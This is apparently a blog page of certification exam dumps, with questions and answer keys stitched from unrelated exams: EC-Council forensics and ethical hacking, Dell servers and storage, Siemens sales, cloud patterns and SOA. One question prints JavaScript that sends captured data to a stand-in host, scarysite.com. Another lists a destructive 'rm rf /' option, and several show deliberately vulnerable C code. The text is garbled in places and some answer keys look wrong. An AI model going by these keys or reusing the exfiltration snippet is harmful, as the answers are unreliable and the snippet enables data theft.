2014年6月30日星期一

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Exam Code: 312-49v8
Exam Name: Computer Hacking Forensic Investigator Exam
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Exam Code: 212-77
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NO.1 Which of the following Wi-Fi chalking methods refers to drawing symbols in public places to
advertise open Wi-Fi networks?
A. WarWalking
B. WarFlying
C. WarChalking
D. WarDhving
Answer: C

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NO.2 Computer forensics report provides detailed information on complete computer forensics
investigation process. It should explain how the incident occurred, provide technical details of the
incident and should be clear to understand. Which of the following attributes of a forensics report
can render it inadmissible in a court of law?
A. It includes metadata about the incident
B. It includes relevant extracts referred to In the report that support analysis or conclusions
C. It is based on logical assumptions about the incident timeline
D. It maintains a single document style throughout the text
Answer: C

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NO.3 Which of the following statements is not a part of securing and evaluating electronic crime
scene
checklist?
A. Locate and help the victim
B. Transmit additional flash messages to other responding units
C. Request additional help at the scene if needed
D. Blog about the incident on the internet
Answer: D

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NO.4 Networks are vulnerable to an attack which occurs due to overextension of bandwidth,
bottlenecks, network data interception, etc.
Which of the following network attacks refers to a process in which an attacker changes his or her
IP address so that he or she appears to be someone else?
A. IP address spoofing
B. Man-in-the-middle attack
C. Denial of Service attack
D. Session sniffing
Answer: A

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NO.5 When collecting electronic evidence at the crime scene, the collection should proceed from
the
most volatile to the least volatile
A. True
B. False
Answer: A

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Exam Code: 312-50v8
Exam Name: Certified Ethical Hacker v8
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NO.1 Madison is on trial for allegedly breaking into her universitys internal network. The police raided her
dorm room and seized all of her computer equipment. Madisons lawyer is trying to convince the judge that
the seizure was unfounded and baseless. Under which US Amendment is Madisons lawyer trying to
prove the police violated?
A.The 10th Amendment
B.The 5th Amendment
C.The 1st Amendment
D.The 4th Amendment
Answer: D

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NO.2 A forensics investigator is searching the hard drive of a computer for files that were recently moved to
the Recycle Bin. He searches for files in C:\RECYCLED using a command line tool but does not find
anything. What is the reason for this?
A.He should search in C:\Windows\System32\RECYCLED folder
B.The Recycle Bin does not exist on the hard drive
C.The files are hidden and he must use a switch to view them
D.Only FAT system contains RECYCLED folder and not NTFS
Answer: C

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NO.3 What will the following Linux command accomplish?
dd if=/dev/mem of=/home/sam/mem.bin bs=1024
A.Copy the master boot record to a file
B.Copy the contents of the system folder mem to a file
C.Copy the running memory to a file
D.Copy the memory dump file to an image file
Answer: C

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NO.4 While searching through a computer under investigation, you discover numerous files that appear to
have had
the first letter of the file name replaced by
the hex code byte E5h. What does this indicate on the computer?
A.The files have been marked as hidden
B.The files have been marked for deletion
C.The files are corrupt and cannot be recovered
D.The files have been marked as read-only
Answer: B

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NO.5 Which forensic investigating concept trails the whole incident from how the attack began to how the
victim was
affected?
A.Point-to-point
B.End-to-end
C.Thorough
D.Complete event analysis
Answer: B

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NO.6 Sectors in hard disks typically contain how many bytes?
A.256
B.512
C.1024
D.2048
Answer: B

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NO.7 In conducting a computer abuse investigation you become aware that the suspect of the investigation
is using ABC Company as his Internet Service Provider (ISP). You contact the ISP and request that they
provide you assistance with your investigation. What assistance can the ISP provide?
A.The ISP can investigate anyone using their service and can provide you with assistance
B.The ISP can investigate computer abuse committed by their employees, but must preserve the privacy
of their ustomers and therefore cannot assist you without a warrant
C.The ISP cannot conduct any type of investigations on anyone and therefore cannot assist you
D.ISPs never maintain log files so they would be of no use to your investigation
Answer: B

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NO.8 What is the last bit of each pixel byte in an image called?
A.Last significant bit
B.Least significant bit
C.Least important bit
D.Null bit
Answer: B

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Exam Code: EC0-350
Exam Name: Ethical hacking and countermeasures
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Exam Code: 312-49
Exam Name: Computer Hacking Forensic Investigator
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NO.1 Lori has just been tasked by her supervisor toonduct vulnerability scan on the corporate
network.She has been instructed to perform a very thorough test of the network to ensure that
there are no security holes on any of the machines.Lori's company does not own any commercial
scanning products, so she decides to download a free one off the Internet.Lori has never done a
vulnerability scan before, so she is unsure of some of the settings available in the software she
downloaded.One of the options is to choose which ports that can be scanned.Lori wants to do
exactly what her boss has told her, but she does not know what ports should be scanned. If Lori is
supposed to scan all known TCP ports, how many ports should she select in the software?
A.65536
B.1024
C.1025
D.Lori should not scan TCP ports, only UDP ports
Correct:A

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NO.2 Why is Social Engineering considered attractive by hackers and commonly done by experts in
the field?
A.It is not considered illegal
B.It is done by well-known hackers
C.It is easy and extremely effective to gain information
D.It does not require a computer in order to commit a crime
Correct:C

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NO.3 Mark works as a contractor for the Department of Defense and is in charge of network security.
He has spent the last month securing access to his network from all possible entry points. He has
segmented his network into several subnets and has installed firewalls all over the network. He
has placed very stringent rules on all the firewalls, blocking everything in and out except ports
that must be used. He does need to have port 80 open since his company hosts a website that
must be accessed from the Internet. Mark is fairly confident of his perimeter defenses, but is still
worried about programs like Hping2 that can get into a network through covert channels. How
should mark protect his network from an attacker using Hping2 to scan his internal network?
A.Block ICMP type 13 messages
B.Block all incoming traffic on port 53
C.Block all outgoing traffic on port 53
D.Use stateful inspection on the firewalls
Correct:A

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NO.4 Which of the following built-in C/C++ functions you should avoid to prevent your program from
buffer overflow attacks?
A.strcpy()
B.strcat()
C.streadd()
D.strsock()
Correct:A B C

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NO.5 Samantha has been actively scanning the client network for which she is doing a vulnerability
assessment test. While doing a port scan she notices ports open in the 135 to 139 range. What
protocol is most likely to be listening on those ports?
A.FTP
B.SMB
C.Finger
D.Samba
Correct:B

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NO.6 A client has approached you with a penetration test requirement. They are concerned with the
possibility of external threat, and have invested considerable resources in protecting their
Internet exposure. However, their main concern is the possibility of an employee elevating his/her
privileges and gaining access to information outside of their department. What kind of penetration
test would you recommend that would best address the client's concern?
A.A Grey Hat test
B.A Grey Box test
C.A Black Hat test
D.A White Hat test
E.A Black Box test
F.A White Box test
Correct:B

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NO.7 After a client sends a connection request (SYN) packet to the server, the server will respond
(SYN-ACK) with a sequence number of its choosing, which then must be acknowledged (ACK) by
the client. This sequence number is predictable; the attack connects to a service first with its own
IP address, records the sequence number chosen, and then opens a second connection from a
forged IP address. The attack doesn't see the SYN-ACK (or any other packet) from the server, but
can guess the correct responses. If the source IP address is used for authentication, then the
attacker can use the one-sided communication to break into the server. What attacks can you
successfully launch against a server using the above technique?
A.Session Hijacking attacks
B.Denial of Service attacks
C.Web page defacement attacks
D.IP spoofing attacks
Correct:A

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NO.8 Samuel is the network administrator of DataX Communications, Inc. He is trying to configure his
firewall to block password brute force attempts on his network. He enables blocking the intruder's
IP address for a period of 24 hours time after more than three unsuccessful attempts. He is
confident that this rule will secure his network from hackers on the Internet. But he still receives
hundreds of thousands brute-force attempts generated from various IP addresses around the
world. After some investigation he realizes that the intruders are using a proxy somewhere else
on the Internet which has been scripted to enable the random usage of various proxies on each
request so as not to get caught by the firewall rule. Later he adds another rule to his firewall and
enables small sleep on the password attempt so that if the password is incorrect, it would take 45
seconds to return to the user to begin another attempt. Since an intruder may use multiple
machines to brute force the password, he also throttles the number of connections that will be
prepared to accept from a particular IP address. This action will slow the intruder's attempts.
Samuel wants to completely block hackers brute force attempts on his network. What are the
alternatives to defending against possible brute-force password attacks on his site?
A.Enforce a password policy and use account lockouts after three wrong logon attempts even though this
might lock out legit users
B.Enable the IDS to monitor the intrusion attempts and alert you by e-mail about the IP address of the
intruder so that you can block them at the Firewall manually
C.Enforce complex password policy on your network so that passwords are more difficult to brute force
D.You cannot completely block the intruders attempt if they constantly switch proxies
Correct:D

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NO.1 What security package is implemented with the following code.?
dwStatus = DsMakSpn
(
ldap ,
MyServer.Mydomain.com ,
NULL,
0,
NULL,
&pcSpnLength,
pszSpn
);
rpcStatus = RpcServerRegisterAuthInfo
(
psz
RPC_C_AUTHN_GSS_NEGOTIATE,
NULL,
NULL
);
A. Diffie-Hellman encryption
B. Repurposing
C. SSPI
D. SMDT
Answer: A

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NO.2 Steve is using the libcap library to create scripts for capturing and analyzing network traffic.
Steve has never used libcap before and is struggling with finding out the correct functions to use. Steve is
trying to pick the default network interface in his script and does not know which function to use. Which
function would he use to correctly choose the default interface in the script?
A. pcap_open_live
B. pcap_int_default
C. pcap_lookupdev
D. pcap_use_int
Answer: C

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NO.3 Which Linux command will securely delete a file by overwriting its contents?
A. rm rf /
B. Shred
C. ps rm
D. del rm
Answer: B

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NO.4 Travis, a senior systems developer for YNY Services, received an email recently from an unknown
source. Instead of opening the email on his normal production machine, Travis decides to copy the email
to a thumb drive and examine it from a quarantined PC not on the network. Travis examines the email and
discovers a link that is supposed to take him to http://scarysite.com. Travis decides to get back on his
production computer and examine the code of that site.
From the following code snippet, what has Travis discovered?
<script>
function object() {
this.email setter = captureobject
}
function captureobject(x) {
var objstring =
for(fld in this) {
obstring += fld + :
this[fld] + , ;
}
obstring += email:
+ x;
var req = new XMLHttpRequest();
req.open( GET , http://scarysite.com?obj=
+
escape(objString), true);
req.send(null);
}
</script>
A. URL obfuscation
B. XSS attack
C. JavaScript hijacking
D. URL tampering
Answer: C

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NO.5 John is creating a website using ASP. John s web pages will have a number of calculations, so he
decides to create an include file that the pages will call so he does not have to rewrite the formula
numerous times. John s website will be hosted by a server running IIS. John wants to ensure that the
include source code is not revealed when the pages are viewed, so he gives the include an .asp
extension.
When IIS processes the include file, which system file will be used to hide the include source code?
A. ASP.dll
B. Include.dll
C. IISASP.dll
D. IIS.dll
Answer: A

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NO.6 David is an applications developer working for Dewer and Sons law firm in Los Angeles David just
completed a course on writing secure code and was enlightened by all the intricacies of how code must
be rewritten many times to ensure its security. David decides to go through all the applications he has
written and change them to be more secure. David comes across the following snippet in one of his
programs:
#include <stdio.h>
int main(int argc, char **argv)
{
int number = 5;
printf(argv[1]);
putchar( \n );
printf( number (%p) is equal to %d\n ,
&value, value);
}
What could David change, add, or delete to make this code more secure?
A. Change putchar( \n ) to putchar( %s , \n )
B. Change printf(argv[1]) to printf( %s , argv[1])
C. Change printf(argv[1]) to printf(constv [0])
D. Change int number = 5 to const number =
Answer: B

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NO.7 What would be the result of the following code?
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
char *input=malloc(20);
char *output=malloc(20);
strcpy(output, normal output );
strcpy(input, argv[1]); printf( input at %p: %s\n , input, input);
printf( output at %p: %s\n , output, output);
printf( \n\n%s\n , output);
}
A. Stack buffer overflow
B. Heap overflow
C. Query string manipulation
D. Pointer Subterfuge
Answer: B

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NO.8 Harold is programming an application that needs to be incorporate data encryption. Harold decides to
utilize an encryption algorithm that uses 4-bit working registers instead of the usual 2bit working registers.
What encryption algorithm has Harold decided to use?
A. Blowfish
B. RC5
C. RC4
D. RC6
Answer: D

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Exam Code: DC0-200
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NO.1 How many PowerEdge 1650 servers can be installed in a Dell 42U rack that already has two
PowerEdge 2650 servers, a PowerEdge 6650 server, and a 1U keyboard and monitor drawer?
A. 31
B. 32
C. 33
D. 34
Answer: C

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NO.2 What happens when you specify a Preferred Primary Adapter in Windows 2000 for an AFT NIC team?
A. You specify which adaptor will take the entire load. The other NICs will be used only when the
Preferred Primary fails.
B. You specify the desired card for all outgoing traffic for the team. The other members will still accept
incoming packets.
C. You specify the desired card for all incoming traffic for the team. The other members will still transmit
outgoing packets.
D. You specify which adaptor will take the load until it is saturated, then the other members will start
accepting packets until the Preferred Primary is just below the saturation point.
Answer: A

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NO.3 What is the default path and name of the logging file if the Message Logging option is selected when
running diagnostics?
A. A: RESULT.txt
B. C: RESULTS.txt
C. C: DELLTEST.txt
D. A: DELLTESTS.txt
Answer: A

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NO.4 Which two operations can be performed with the DSA CD? (Choose two.)
A. run system diagnostics on your server
B. create Windows 2000 driver/utilities diskette(s)
C. create NetWare 5.1/6.0 driver/utilities diskette(s)
D. change the Dell Service Tag via the Service Tag Utility
Answer: BC

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NO.5 Which two features are found on both 24U and 42U Dell racks? (Choose two.)
A. split rear door for cable access
B. diagnostic LCD panel on the front door
C. integrated redundant 1000 watt power supplies
D. 0U space that can be used for components other than servers and storage
Answer: AD

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NO.6 You want to install Windows 2000 Server and Dell-validated drivers for your factory-installed devices
using the Dell Server Assistant CD. From which location should you launch the Dell Server Assistant?
A. boot to the Dell Server Assistant CD after installing Windows 2000
B. autorun the CD from the Windows desktop after installing Windows 2000
C. boot to the Dell Server Assistant CD and have your Windows CD available
D. use the Dell Server Assistant to create a Utility Partition and launch the installation from the Utility
Partition
Answer: C

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NO.7 You are about to begin the installation of Windows 2000 Server on your PowerEdge server . As you
inspect the System Setup Utility, you notice that the Asset Tag field is blank. What are two ways you can
add the correct asset tag into the BIOS? (Choose two.)
A. Flashing the ESM to the latest revision automatically updates the Asset Tag field.
B. Flashing the BIOS to the latest revision automatically updates the Asset Tag field.
C. You create the Asset Tag Utility Diskette from the DSA CD and use it to update the Asset Tag field.
D. You download the Asset Tag Utility from premiersupport.dell.com and use it to update the Asset Tag
Field.
E. After installing Windows 2000, you use the Asset Manager application from the Dell group in control
panel to update the Asset Tag field.
Answer: CD

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NO.8 Which three statements are true about installing the Intel drivers and utilities that allow teaming in
Windows 2000? (Choose three .)
A. You must install the ProSet Utility.
B. You must install the Intel driver using floppy diskettes.
C. Loading Windows 2000 using the DSA CD-ROM loads the drivers and ProSet Utility.
D. If you install the adapters after you have installed the OS, you can get the drivers from the Intel
Network Drivers CD.
E. If you install the adapters after you have installed the OS, you can get the ProSet Utility from the Intel
ProSet Utility CD.
Answer: ACD

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Exam Name: Dell Certified Storage Networking Professional
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NO.1 Which LUN duplication method would have the least initial performance impact on a
source LUN To create and be the easiest and least costly to implement?
A. use SAN copy to copy the source LUN
B. mirror the source LUN to a second host
C. clone the source LUN, then mount it from a second host
D. take a snapshot of the source LUN, then mount it from a second host
Answer: D

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NO.2 How many LUNs are required for the Write intent Log (WIL)?
A. one per array
B. two per array
C. one per each mirrored LUN
D. two per each mirrored LUN
Answer: B

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NO.3 Which three statements about Navisphere Analyzer are correct? (choose three)
A. Navisphere Analyzer is included within Navisphere Manager
B. Navisphere Analyzer is optional software that can track performance trends on Dell /
EMC storage arrays.
C. Navisphere Analyzer allows you to automatically record, capture and display
performance data metrics.
D. Navisphere Analyzer can fine tune parameters of storage arrays, Identifying potential
bottlenecks, such as spindle count starvation within a RAID configuration and read/write
cache adjustments to increase performance.
Answer: B, C, D

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NO.4 SAN Copy can be configured to
A. have simultaneous sessions between multiple storage systems
B. provide synchronous mirroring between multiple storage systems
C. allows UNIX hosts to copy LUNs to be accessed by Windows hosts
D. create copies of Source LUNs that are only 20% of the original size
Answer: A

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NO.5 In a Dell / EMC only Storage Area Network (SAN), SAN Copy requires which three of
the following? (Choose three)
A. Access Logix must be running on all participating storage arrays.
B. SnapView or MirrorView must be installed on the storage array running SAN Copy.
C. Either the Source or Destination logical units must reside on an array running SAN
copy
D. The Navishere Host Agent does not need to be installed on all hosts that own LUNs to
be SAN copied.
E. All SAN Copy ports must be zoned correctly, in order for SAN copy to have access to
these storage arrays.
Answer: A, C, E

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2014年6月26日星期四

STI-884 Exam Tests, STI-884 Study Guide

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Exam Code: STI-884
Exam Name: SOCA Sales Small & Medium Businesses (SMB)
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NO.1 Which describe the motivations of a Transform customer? (Choose two)
A. Business processes are specific solution led
B. Businessprocesses are architecture led
C. Lowest TCO, CapEx, and best CEBP
D. Solution is ROI based
Answer: B,C

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NO.2 Which best describes Siemens' most recent application specifically tailored to the needs of the small
and medium sized businesses.?
A. OpenScape
B. Unified Communciations
C. OpenScape Office
D. LifeWorks
Answer: C

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NO.3 What does "Open" in Open Communications signify?
A. Siemens provides Software Development Kits (SDKs) and Application Program Interfaces (APIs) that
allow better and easier voice integration.
B. Siemens Unified Communications solutions increase the operational costs due to complex
technologies.
C. Siemens Unified Communications solutions require customers to buy the entire solution instead of the
relevant solution elements.
D. Siemens Open Communications strategy is based on the Open Service Delivery principle.
Answer: A

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NO.4 How do Siemens Open Communications solutions reduce operating costs? (Choose two)
A. By increasing the number of employees.
B. By simplifying infrastructure and costs.
C. By ensuring that employees work from office.
D. By increasing the efficiency of sales teams.
Answer: B,D

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NO.5 Which best describes the IT-based communications principle of Open Communications?
A. IT-based open Communications enables integration of mobile communications and location
independence across networks.
B. IT-based open Communications uses the latest technology to provide innovative business continuity
services to your customer.
C. IT-based open Communications can be implemented in various forms such as Managed and Hosted
Services.
D. IT-based open Communications means a strong commitment to SIP and LINUX, a clear focus on
IT-oriented deployments.
Answer: D

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NO.6 Which best describes Open Service Delivery in Open Communications?
A. Providing innovative business continuity service to your customer.
B. Implementing Open Communications in a wide variety of forms, including Managed and Hosted
Services.
C. Replacing voice and data infrastructure with new Unified Communications solutions.
D. Enabling integration of mobile communication and location independence across networks.
Answer: B

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NO.7 What is an important part of the sales qualification process?
A. Ensuring faster decision making for outstanding customer service.
B. Predicting that the size of the small and medium sized business market for communications is stable.
C. Understanding the psychological drivers of the business owner or manager.
D. Enabling employees to remain connected whilst out of office.
Answer: C

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NO.8 Which are the key reasons that there is a huge shift in the type of technology that small and medium
sized businesses are adopting and are spending money to change their telephone systems? (Choose
three)
A. Personal Mobility.
B. Corporate Excellence.
C. Cost Control.
D. Productivity.
Answer: A,C,D

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NO.1 Cloud Sen/ice A is hosted by Virtual Server A, which is hosted by Hypervisor A on Physical
Server
A. Cloud Service B is hosted by Virtual Server B.
Virtual Server C hosts Cloud Services C and D.
Virtual Server B and Virtual Server C are hosted by Hypervisor B on Physical Server B.
Cloud Service Consumer A accesses Cloud Service A (1). Cloud Service Consumer B accesses Cloud
Service A (2). Cloud Service Consumer C accesses Cloud Service A (3) and then accesses Cloud
Service B (4).
Cloud Service Consumers A, B and C simultaneously access Cloud Service A.
Cloud Service Consumer C receives a runtime exception and its request for access is rejected. It is
determined that Cloud Service Consumer C attempted to upload a large amount of input data for
Cloud Service A, which exceeded the bandwidth threshold of the virtual network. The cloud
architecture needs to be improved to avoid this from happening again.
Cloud Service Consumer C's repeated access of Cloud Service B imposes workloads that are large
and highly unpredictable. After some time, Cloud Service B begins to delay its responses and
sometimes times out entirely. The cloud resource administrator discovers that Virtual Server B is
unstable and close to failure primarily because its CPU and memory resources are being used to
their maximum capacity.
Cloud Services C and D are being positioned as SaaS products for use by a range of cloud consumer
organizations. After their initial release, they begin to quickly use up the available memory in Virtual
Server C, primarily because of the large amounts of state and session data they need to place into
memory for extended periods.
Which of the following statements lists the patterns that can be applied to solve these three
requirements and problems?
A. Elastic Network Capacity, Load Balanced Virtual Server Instances, Service State Management
B. Elastic Resource Capacity, Service Load Balancing, Synchronized Operating State
C. Persistent Virtual Network Configuration. Load Balanced Virtual Switches, Service State
Management
D. None of the above.
Answer: A

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NO.2 Cloud Storage Device A contains LUN A and can be accessed by external cloud consumers via a
proprietary user portal that is used primarily by cloud consumers to upload and manage data for
backup purposes. Pay-Per-Use Monitor A tracks the amount of data being uploaded and forwards
this information to a billing management system. Cloud Storage Device B is a secondary cloud
storage device. Data from Cloud Storage Device A is replicated synchronously to Cloud Storage
Device B using a storage replication program (not shown). Cloud Storage Device A is further
administered by a cloud resource administrator that works for the cloud provider, who accesses the
cloud storage device via an internal usage and administration portal.
Three different cloud consumers (Sarah. William, Matilda) access Cloud Storage Device A to upload
data for backup purposes (1). These three cloud consumers belong to different
departments within the same organization, and therefore all three share LUN A.
Pay-Per-Use Monitor A collects the storage space data and forwards it to the billing management
system (2).
The cloud provider offers premium and discount storage plans. With the premium plan, the data
stored on Cloud Storage Device A is also replicated to Cloud Storage Device B.
With the discount plan, the data stored on Cloud Storage Device A is not replicated. Both plans are
based on fixed-disk storage allocation. The cost of the premium plan is $5 per week for every GB of
storage space and the cost of the discount plan is $2 per week for every GB of storage space. The
SLA from the cloud provider guarantees availability of 97% for access to Cloud Storage Device A.
The three cloud consumers use Cloud Storage Device A as follows:
-Sara signs up for the discount backup plan and is allocated 50 GBs of storage space. A week later,
she uploads 10 GBs of backup data. A week after that, she uploads another 35 GBs. She later finds
out that for those two weeks her organization was billed $200, which is more than she was
expecting. After she complains to the cloud provider, she learns about how fixed-disk storage
allocation is billed. She asks the cloud provider to change her account to a different
storage plan where she is only billed for the actual amount of storage space she uses at any
given time. The cloud provider assures her that a new system will be set up to accommodate
this request.
-William is on the premium backup plan. He uploads 1 to 3 GBs of important business data every
day. After two weeks of daily uploads, he realizes that the centralized nature of the backup data on
the cloud makes it more convenient for reporting purposes than the distributed nature of the same
data in his on-premise environment. He uses an analysis tool to run queries against the cloud-based
data. However, due to the large quantity of redundant data, the queries end up being ineffective
and take too long to run. He asks the cloud provider to find a solution that can streamline the
cloud-based data by reducing redundancy. By reducing the overall quantity of the data, the analysis
queries will run faster.
-Matilda is on the discount backup plan and uploads backup data on a daily basis. Over the course
of two weeks she uploads over 200 GBs of data. She performs a daily backup at the end of each day
by identifying the data to back up and then using the proprietary user portal to run the cloud
backup procedure. This procedure can take 5 to 45 minutes, depending on the amount of data she
is uploading. Matilda performs this as her last task of the day and therefore initiates the procedure
before she leaves, but does not wait for it to complete. One day, she receives an e-mail from the
cloud provider explaining that the backup procedure from the previous day had failed due to an
unexpected hardware failure that occurred on Cloud Storage Device A.
The notification e-mail goes on to state that this type of failure falls within the 97% availability
guarantee of her organization's SLA, and is therefore in compliance with the current provisioning
agreement. Had a disaster occurred that night, the on-premise data could have been lost and
Matilda would be held accountable. Matilda contacts the cloud provider to demand that the
provisioning agreement be amended to upgrade their existing SLA to the maximum possible
availability (which, for this cloud provider, is 99.999%). The cloud provider agrees to establish a
system to accommodate this request.
Which of the following statements lists the patterns that can be applied to address the three issues
raised by the three cloud consumers?
A. Storage Workload Management, Elastic Disk Provisioning, Centralized Remote Administration
B. Elastic Disk Provisioning, Dynamic Data Normalization, Zero Downtime
C. Storage Maintenance Window, Dynamic Failure Detection and Recovery, Broad Access
D. None of the above.
Answer: B

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NO.3 Cloud Service A is hosted by Virtual Server A, which is hosted by Hypervisor A that resides on
Physical Server A.
Cloud Storage Device A is used to store media library data that is continuously replicated with a
redundant, secondary implementation of Cloud Storage A (not shown). Access to Cloud Service A is
monitored by Pay-Per-Use Monitor A.
Access to Cloud Storage Device A is monitored by Pay-Per-Use Monitor B.
Pay-Per-Use Monitors A and B capture billing-related usage data that is forwarded to a billing
management system that is hosted by Physical Server B.
Cloud Service Consumer A accesses Cloud Service A and the usage data is captured by Pay-Per-Use
Monitor A (1). Cloud Consumer B accesses Cloud Storage Device A via a usage and administration
portal that it uses to upload media data (2). This usage is captured by Pay-Per-Use Monitor B (3).
Pay-Per-Use Monitors A and B store collected usage data in the billing management system (4),
which is later used by the cloud provider to bill for the usage of Cloud Service A and Cloud Storage
Device A.
Each service instance of Cloud Service A requires a virtual server with 2 virtual CPUs and 4 GBs of
RAM at a package price of $2.00 for each initial invocation and an additional $0.50 for each
consecutive 60 seconds of usage. Cloud Service Consumer A accesses Cloud Service A twice in one
day. The two exchanges with Cloud Service A last 60 seconds and 120 seconds. For that one day, the
organization that owns Cloud Service Consumer A is billed $6.50, which it determines is incorrect.
After complaining to the cloud provider, it is discovered that the rapid provisioning system
responsible for provisioning instances of Cloud Service A is not de-provisioning Cloud Service A
when Cloud Service Consumer A indicates it has completed an exchange. Instead, Cloud Service A is
de-provisioned after a 60 second timeout that occurs after Cloud Service Consumer A is completed
with an exchange.
Storage space on Cloud Storage Device A can only be purchased in units of terabytes (TBs), with
each TB costing $1 per day. Cloud Consumer B purchases 5 TBs of storage space on day 1 and stores
5 TBs of data on days 6 and 7. Cloud Consumer B was expecting to be billed $10.00, but is billed $35.
After raising a complaint, Cloud Consumer B is informed by the cloud provider that cloud consumers
are billed based on the allocation of storage space, regardless of how much storage space they
actually use.
Which of the following statements describes a solution that can update the cloud architecture to
avoid these billing-related problems and discrepancies?
A. The Pay-as-You-Go pattern can be applied together with the Usage Monitoring pattern to
establish a monitoring and billing system capable of de-provisioning Cloud Service A instances when
they are no longer required. The Dynamic Data Normalization pattern can be applied to eliminate
any redundant data stored by Cloud Consumer A so that the amount of required storage space is
minimized.
B. The Platform Provisioning pattern can be applied to create an intelligent automation script
capable of immediately de-provisioning cloud service instances. The Redundant Storage pattern can
be applied to introduce a secondary cloud storage device for which storage space can be billed
based on actual usage.
C. The Self-Provisioning pattern can be applied to enable the organization that owns Cloud Service
Consumer B to configure how and to what extent Cloud Service A instances need to be provisioned.
The Resource Management pattern can be applied to establish a storage system that bills cloud
consumers for actual storage space usage only.
D. None of the above.
Answer: D

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NO.4 Ready-Made Environment A is hosted by Virtual Server A and Ready-Made Environments is
hosted by Virtual Server B.
Virtual Servers A and B are hosted by Hypervisor A, which is part of a hypervisor cluster. An
automated scaling listener intercepts cloud consumer requests and automatically invokes the
on-demand generation of additional instances of ready-made environments, as required.
A self-service portal and a usage and administration portal are also available to cloud consumers.
The self-service portal can be used to request the provisioning of a new ready-made environment.
Any cloud consumer that has already had a ready-made environment provisioned can configure and
view information about that ready-made environment via the usage and administration portal.
Cloud Consumer A accesses Ready-Made Environment A to work on the development of a new
cloud service (1). Cloud Consumer B accesses Ready-Made Environment B to test a recently
completed application comprised of three cloud services (2). Cloud Consumer C accesses the
self-service portal to request the creation of a new ready-made environment (3).
The cloud provider is required to perform an emergency maintenance outage on a cloud storage
device used by all ready-made environments. The unplanned outage takes two hours. During this
period, Cloud Consumers A and B are unable to access Ready-Made Environments A and B and
Cloud Consumer C receives an error when submitting a request to create a new ready-made
environment.
After the maintenance outage is over, Cloud Consumers A and B encounter the following problems:
-Cloud Consumer A is unable to recover session data that was kept in memory for an extended
period, prior to the time of the outage. -Cloud Consumer B has no access to Virtual Server B, which
was moved to Hypervisor B during
the maintenance outage. When Cloud Consumer B attempts to ping Virtual Server B, the
request times out.
Even though Cloud Consumer C is able to log into the usage and administration portal to confirm
that its ready-made environment was successfully provisioned, the unexpected outage has raised
concerns about the stability of the ready-made environment's underlying infrastructure. Cloud
Consumer C informs the cloud provider that it cannot proceed with its lease of the ready-made
environment if there are future occurrences of this type of maintenance outage.
Which of the following statements can help address the problems and concerns of the three cloud
consumers?
A. A combination of the Load Balanced Virtual Server Instances and Synchronized Operating State
patterns can be applied to establish a system capable of deferring state across multiple cloud
storage devices, each located on a different virtual server. The Elastic Disk Provisioning pattern can
be applied to persist virtual server configuration data across hypervisors so that connectivity is
preserved whenever a virtual server is relocated to a different hypervisor. The Zero Downtime
pattern can be applied to ensure that none of the ready-made environments or virtual servers are
subject to a maintenance outage in the future.
B. The Elastic Disk Provisioning and Cross-Storage Device Vertical Tiering patterns can be applied to
establish a cloud architecture that supports a set of cloud storage devices, each with different tiers
that cloud consumers can choose to scale to The Synchronized Operating State pattern can be
applied in combination with the Hypervisor Clustering pattern to avoid further virtual server and
ready-made environment connectivity problems. The Redundant Storage pattern can be applied so
that if a cloud storage device fails, a secondary implementation of the cloud storage device
automatically takes over processing tasks, thereby avoiding outages.
C. The Service State Management pattern can be appliedto establish a system that canpersist
session data in a database. The Persistent Virtual Network Configuration pattern can be applied to
centralize the configuration data necessary for virtual servers to remain accessible after they have
been relocated to different hypervisors. The Storage Maintenance Window pattern can be applied
to establish a system that allows cloud storage devices to be maintained without causing outages.
D. None of the above.
Answer: C

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NO.5 Cloud Service A requires access to Cloud Storage Device A, which contains LUNs A and B.
Cloud Service A is hosted by Virtual Server A, which resides on Hypervisor A on Physical Server A.
Virtual Server B hosts Cloud Service B and Cloud Service C.
Cloud Service Consumer A accesses Cloud Service A (1), which then accesses LUN A or B on Cloud
Storage Device A (2). After receiving the requested data from Cloud Service A, Cloud Service
Consumer A forwards the data to Cloud Service B (3), which then writes it to Cloud Storage Device B
(4).
Cloud Service Consumer A belongs to Organization A.
Organization A uses LUN A and LUN B on Cloud Storage Device A to store their important client
account data. Cloud Storage Device A is a low-performance cloud storage device, which begins to
cause performance issues as more data is added to LUNs A and B and as Cloud Service Consumer A
performs data access requests more frequently. Organization A asks that its cloud architecture be
upgraded to process increased quantities of data and higher volumes of data requests.
Organization A has been leasing a PaaS environment that it used to build Cloud Service A, which it
would like to make available to the general public. Organization A needs to establish a system
capable of monitoring usage of Cloud Service A for billing purposes.
The cloud provider is using a usage data collection and reporting system that gathers information on
Organization A's hosted IT resources approximately ten hours after the time of usage. One day,
Organization A attempts to retrieve information on whether Virtual Server B has available Cloud
Service C instances. They discover that they are unable to obtain the current status of Virtual Server
B.
Organization A demands a system that provides instant availability reporting.
Which of the following statements lists the patterns that can be applied to solve these three
requirements and problems?
Which of the following statements lists the patterns that can be applied to solve these three
requirements and problems?
A. Cross-Storage Device Vertical Tiering, Pay-as-You-Go. Self-Provisioning
B. Service Load Balancing, Pay-as-You-Go, Multipath Resource Access
C. Intra-Storage Device Vertical Data Tiering, Usage Monitoring, Centralized Remote Administration
D. None of the above.
Answer: D

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NO.1 Which of the following statements are true? SELECT ALL THAT APPLY
A. The adoption of service-orientation can result in an increased overall time and cost for the initial
delivery of service logic.
B. The adoption of service-orientation can result in increased design complexity due to a constant
emphasis on reuse.
C. The adoption of service-orientation can result in an emphasis on tactical (short-term) rather than
strategic (long-term) planning in order to justify a quick ROI.
D. The adoption of service-orientation can result in a need to introduce a governance structure that may
introduce new organizational roles and processes.
Answer: A,B,D

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NO.2 Which of the following is not a meta abstraction type associated with the Service Abstraction principle?
Select the correct answer.
A. functional
B. technology
C. programmatic
D. state
Answer: D

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NO.3 Which of the following statements correctly explains the difference between the Service
Abstraction and Service Loose Coupling principles? Select the correct answer.
A. Service Abstraction is focused on dependencies that exist between the service contract and its
underlying logic, whereas Service Loose Coupling is focused on fostering "loose state" in support of
runtime state deferral
B. Service Abstraction is focused on agnostic service logic only in order to establish an agnostic
abstraction layer, whereas Service Loose Coupling is focused on the relationship between the service
contract and service consumers.
C. Service Abstraction is focused on hiding information about service implementation details, whereas
Service Loose Coupling is focused on the positioning of the service contract in relation to the service
implementation and service consumers.
D. There is no difference between these two principles. One principle name is used instead of the other
depending on whether you are building loose or tight service abstraction layers.
Answer: C

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NO.4 Fill in the blanks for the following definition of the Service Discoverability design principle: "Services are
supplemented with communicative metadata by which they can be effectively __________________ and
__________________." Select the correct answer.
